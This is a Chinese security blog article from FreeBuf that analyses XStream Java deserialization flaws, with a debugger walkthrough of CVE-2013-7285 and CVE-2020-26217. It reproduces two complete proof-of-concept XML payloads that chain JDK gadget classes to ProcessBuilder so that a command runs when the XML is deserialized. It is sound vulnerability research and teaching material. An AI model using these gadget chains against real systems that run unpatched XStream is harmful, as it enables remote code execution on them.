freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XStream组件相关漏洞学习
aboood 2022-02-05 21:57:32 170518
所属地 天津

前言

XStream是一个简单的基于Java的XML操作库,可以简单的将javaBean对象序列化为XML格式数据进行存储传输,反之也可以重新序列化为javaBean对象,因其使用起来简单功能强大,所以在java生态圈内使用量较大,近年来XStream组件高危漏洞频发,以下是对其安全漏洞的简单分析。

基础知识

简单使用

以下是对XStream功能的简单演示代码

Person类:

public class Person implements Serializable {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        System.out.println("readObject is run!");
    }
}

Main类:

public class Main {
    private static String path = null;
    private static XStream xstream = null;

    static {
        path = Main.class.getClassLoader().getResource(".").getPath() + "poc.xml";
        //XStream有三种解析xml驱动,DomDriver、StaxDriver和默认的XppDriver
        //StaxDriver,StAX,全称Streaming API for XML,一种全新的,基于流的JAVA XML解析标准类库
        xstream = new XStream(new StaxDriver());
        //XStream的安全设置
        XStream.setupDefaultSecurity(xstream);
        //白名单:允许序列化的类
        xstream.allowTypes(new Class[]{Person.class});
    }

    public static void encode(Object o) {
        File file = new File(path);
        PrintWriter printWriter = null;
        try {
            printWriter = new PrintWriter(file);
            printWriter.print(xstream.toXML(o));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } finally {
            if (printWriter != null) {
                printWriter.close();
            }
        }
    }

    public static Object deCode() {
        File file = new File(path);
        int length = (int) file.length();
        FileReader fileReader = null;
        try {
            fileReader = new FileReader(file);
            char[] buffer = new char[length];
            int n = fileReader.read(buffer);
            if (n == -1) {
                return null;
            }
            return xstream.fromXML(new String(buffer));
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        } finally {
            if (fileReader != null) {
                try {
                    fileReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void main(String[] args)  {
        Person person = new Person();
        person.setName("test");
        person.setAge(18);
        encode(person);
        Object o = deCode();
        System.out.println(o);
    }
}

执行代码可以看到XML文件中已经写入了目标对象,目标类继承了Serializable接口后,可以在文档中看到 serialization="custom" 字段。

1644026412_61fdda2cb475a2a8401ea.png!small?1644026414946

目标类可以是普通javaBean类,或者是动态代理类,也可以是继承了Serializable接口的可序列化类,当目标类继承了Serializable接口和重写readObject方法后,在执行fromXML方法反序列化的过程中就会调用重写readObject方法生成对象。

1644026427_61fdda3b8257d7ce5aedd.png!small?1644026429645

1644026432_61fdda4095ea047e49d90.png!small?1644026434741

反序列化流程分析

fromXML的执行流程网上已经有很多文章分析了,这里就不重复介绍了,重点时分析以下几种情况。

当目标类为普通javaBean类。

启动程序分析进行分析,运行到TreeUnmarshaller类的convertAnother方法时,进入lookupConverterForType方法寻找转换器。

1644026495_61fdda7f2476d1217b7f9.png!small?1644026497297

1644026502_61fdda862abe60df3de16.png!small?1644026504316

在DefaultConverterLookup类lookupConverterForType方法中对converters集合中已经存在的83个转换器依次比较最终返回ReflectionConverter(反射转换器),之后使用反射的方式生成对象。

1644026517_61fdda95844e28a306ab4.png!small?1644026519662

1644026525_61fdda9daf2f86c9c865f.png!small?1644026527858

在AbstractReflectionConverter类doUnmarshal方法中,可以看到使用反射的方式为对象内字段赋值。

1644032288_61fdf120e5cf6c7895604.png!small?1644032291136


目标类继承了Serializable接口。

启动程序分析进行分析,运行到DefaultConverterLookup类的lookupConverterForType方法中就会返回SerializableConverter(序列化转换器)。

1644028040_61fde08837977b12c39b3.png!small?1644028042398

在SerializableConverter类的canConvert方法中可以看到调用了同类下的isSerializable方法,判读类是否继承了Serializable接口。

1644028489_61fde249e4467ca6fba48.png!small?1644028492092

1644028504_61fde258119524ca494d5.png!small?1644028506252

在TreeUnmarshaller类convertAnother方法中执行到convert方法。

1644029301_61fde5751c348c41cb6aa.png!small?1644029303325

在TreeUnmarshaller类的convert方法中调用SerializableConverter类的unmarshal方法。

1644029812_61fde7743d0b42411c2bb.png!small?1644029814409

在SerializableConverter类的doUnmarshal方法中,440行的serializationMembers.supportsReadObject的方法中判断目标类是否有readObject方法。

1644030342_61fde9867732956f15fe4.png!small?1644030344677

1644030443_61fde9eb0ee9cdbc60f48.png!small?1644030445214

在SerializableConverter类的doUnmarshal方法中,443行的serializationMembers.callReadObject方法中最终以反射的方式执行了readObject方法。

1644030470_61fdea0655a1c147b663d.png!small?1644030472527

1644030512_61fdea30aafa2c5dc29d9.png!small?1644030518799


XStream在反序列化时并不会核对serialVersionUID的值,是否一致都可以反序列化成功。

1644030625_61fdeaa172fb4f63f5a61.png!small?1644030627635


目标类为动态代理类。

启动程序分析进行分析,发现运行到DefaultConverterLookup类的lookupConverterForType方法中converterLookup.lookupConverterForType的返回值为DynamicProxyConverter(动态类转换器)。

1644042450_61fe18d256a4c24e5d485.png!small?1644042452673

在DynamicProxyConverter类的unmarshal方法中可以看到解码方法使用了Proxy.newProxyInstance的方式生成了目标代理类。

1644042591_61fe195f909d5859e30ed.png!small?1644042593944

1644042602_61fe196a097e43e76b145.png!small?1644042604416

在生成的XML文件中,接口标签和handler标签将生成代理类需要的值一一声明在文件中。

1644042673_61fe19b15f9261ada1cb9.png!small?1644042675753

安全机制

在XStream 1.4.7版本中加入了基于黑白名单的安全框架,但是未提供默认安全配置。

在XStream 1.4.10版本加入了setupDefaultSecurity这个用于设置默认安全配置的方法,但是要生效,需要手动设置。

1644032692_61fdf2b473f10b2955c50.png!small?1644032694673

在setupDefaultSecurity方法中可以看到默认白名单安全措施。

1644032736_61fdf2e03a0a10174fabc.png!small?1644032738453

1644032747_61fdf2ebe4185e5d57402.png!small?1644032750154

开发者可以调用allowTypes方法在白名单中添加需要反序列化的类。

1644032885_61fdf37587b1d6ab83401.png!small?1644032887713

在SecurityMapper类的realClass方法中做安全判断,是后在白名单中。

1644033143_61fdf477aa5261607cdd7.png!small?1644033146000

如果不设置setupDefaultSecurity,默认的白名单权限就是任意类都可以反序列化。

1644033386_61fdf56a936b426afea33.png!small?1644033388830

漏洞分析

CVE-2013-7285

影响范围#

1.4.x<=1.4.6 或 1.4.10

在分析漏洞前先介绍EventHandler类 。

EventHandler类是jdk自带的类库中存在的类,自身扩展了InvocationHandler接口,如图是类内的字段主要的是target和action两个字段,target是在代理执行中实际执行的类对象,action字段为代理执行中实际的方法。

1644051051_61fe3a6b174db527bd5b3.png!small

在invoke方法中调用执行的是invokeInternal方法。

1644051318_61fe3b764ea4ae4fd0f1e.png!small?1644051320547

在invokeInternal方法中传入的method参数只要不是hashcode、equals和tostring三个方法,程序执行过程就会action作为方法名参数在target对象内寻找对应的方法,最后反射执行action方法,因为start方法为无参数方法,所以可以在argTypes为空数组的条件下找到。

1644051381_61fe3bb5f02bfa3fcf73a.png!small?1644051384200

1644051411_61fe3bd3e51c8faf2f016.png!small?1644051414153

以下是在网上找到的POC:

public class Poc1 {
    public static void main(String[] args) {
        XStream xStream = new XStream();
        String xml =
                "<sorted-set>\n" +
                        " <string>foo</string>\n" +
                        " <dynamic-proxy>\n" +
                        " <interface>java.lang.Comparable</interface>\n" +
                        " <handler class=\"java.beans.EventHandler\">\n" +
                        " <target class=\"java.lang.ProcessBuilder\">\n" +
                        " <command>\n" +
                        " <string>cmd</string>\n" +
                        " <string>/C</string>\n" +
                        " <string>calc</string>\n" +
                        " </command>\n" +
                        " </target>\n" +
                        " <action>start</action>\n" +
                        " </handler>\n" +
                        " </dynamic-proxy>\n" +
                        "</sorted-set>";
        xStream.fromXML(xml);
    }
}

从POC上可以看到需要反序列化的对象为SortedSet类,内部有两个值一个字符串值,另一个是动态代理类型,代理的接口为Comparable,handler类型为EventHandler,EventHandler内部target值为ProcessBuilder,action值为start 。

程序运行分析流程,在TreeUnmarshaller类convertAnother方法中,通过调用mapper.defaultImplementationOf找寻系统内SortedSet的实现类,经过查询找到实现类TreeSet。

1644049595_61fe34bb6863fc8d3a59e.png!small?1644049598772

1644049718_61fe3536805d16d08f2db.png!small?1644049720738

因查找到的类型为TreeSet,所以在converterLookup.lookupConverterForType执行后,得到的转换器类型为TreeSetConverter。

1644053336_61fe4358b92e14b61674d.png!small?1644053338988

在TreeSetConverter类的convert方法中调用解码方法。

1644053500_61fe43fc31c8a0165ea37.png!small?1644053502395

进入同类的populateTreeMap方法。

1644053774_61fe450ebdcf309b02398.png!small?1644053777031

进入同类的result.putAll方法,实际为TreeMap的putAll方法。

1644053917_61fe459d2258bdd041741.png!small?1644053919357

TreeMap的putAll方法会调用put方法,在方法内会对前后两个对象进行比较,在这会调用代理对象的compareTo方法,POC中使用的EventHandler的代理方法invok已经赋值为调用命令执行,程序执行至此命令执行成功。

1644054027_61fe460b97c1c61196851.png!small?1644054029856

CVE-2020-26217

影响范围#

XStream <= 1.4.13

以下是在网上找到的POC:

public class Poc2 {
    public static void main(String[] args) {
        XStream xStream = new XStream();
        String xml="<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>calc</string>\n" +
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        xStream.fromXML(xml);

    }
}

从POC上可以看出涉及到的类很多,理解起来相对困难一些。

运行POC命令被成功执行,计算器弹出。

1644066326_61fe76162c1f8a276f848.png!small?1644066329021


在ProcessBuilder类的start方法处下断点,调用栈还是很复杂的,涉及到的方法调用较多。

1644066409_61fe7669cb380c3ca97c2.png!small?1644066411992

反序列化的开始过程和上面介绍的漏洞基本相同,从MapConverter类的unmarshal方法开始分析。

1644066577_61fe7711ad8e3384bf6e4.png!small?1644066579823

可以看到在同类的populateMap方法执行中,调用了putCurrentEntryIntoMap方法往map中写入数据。

1644066617_61fe7739626aab2b0dced.png!small?1644066620178

在putCurrentEntryIntoMap方法中对target进行了put操作,key变量的值就是POC中payload反序列化出的对象。

1644066853_61fe78257d3f3720af379.png!small?1644066863684

1644066923_61fe786bf2de152c64ae0.png!small?1644066926166

1644066970_61fe789a97dd36ccda0bf.png!small?1644066972796

在NativeString类hashCode方法中,调用了getStringValue方法,之后会调用value.toString,此时value变量的值为Base64Data对象。

1644067100_61fe791c12e703ff11d42.png!small?1644067102275

1644067170_61fe79627c61ecabb9d21.png!small?1644067172590


Base64Data类的toString方法调用get方法,在get方法中可以看到is变量的值为SequenceInputStream类。

1644068852_61fe7ff4ee98ebd5d5e46.jpg!small?1644068855109

1644068859_61fe7ffb5c664fc52b420.jpg!small?1644068861557

1644068892_61fe801c4dbbe779bf88c.jpg!small?1644068894443

快进到MultiUIDefaultsEnumerator类的nextElement方法中,调用iterator.next()方法,iterator变量的值为FilterIterator对象,在FilterIterator类的advance方法中调用filter.filter方法,filter变量的值为ImageIO$ContainsFilter对象,elt变量的值为ProcessBuilder对象。

1644068954_61fe805a4a7fbb38a6374.jpg!small?1644068956436

1644068959_61fe805fa3be3cc618736.jpg!small?1644068961834

在ImageIO$ContainsFilter类的filter方法中,以反射的方式执行了ProcessBuilder对象的start方法。

1644068965_61fe806536ee723a0f380.jpg!small?1644068967390

# web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 aboood 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JAVA代码安全
aboood LV.4
这家伙太懒了,还未填写个人描述!
  • 15 文章数
  • 21 关注者
企业安全测试分享 | 如何通过python模拟前端加密登录
2023-10-27
JAVA代码审计3·某XXX博客系统
2023-10-02
JAVA代码审计2 · 某XXX网络考试系统
2023-09-18
文章目录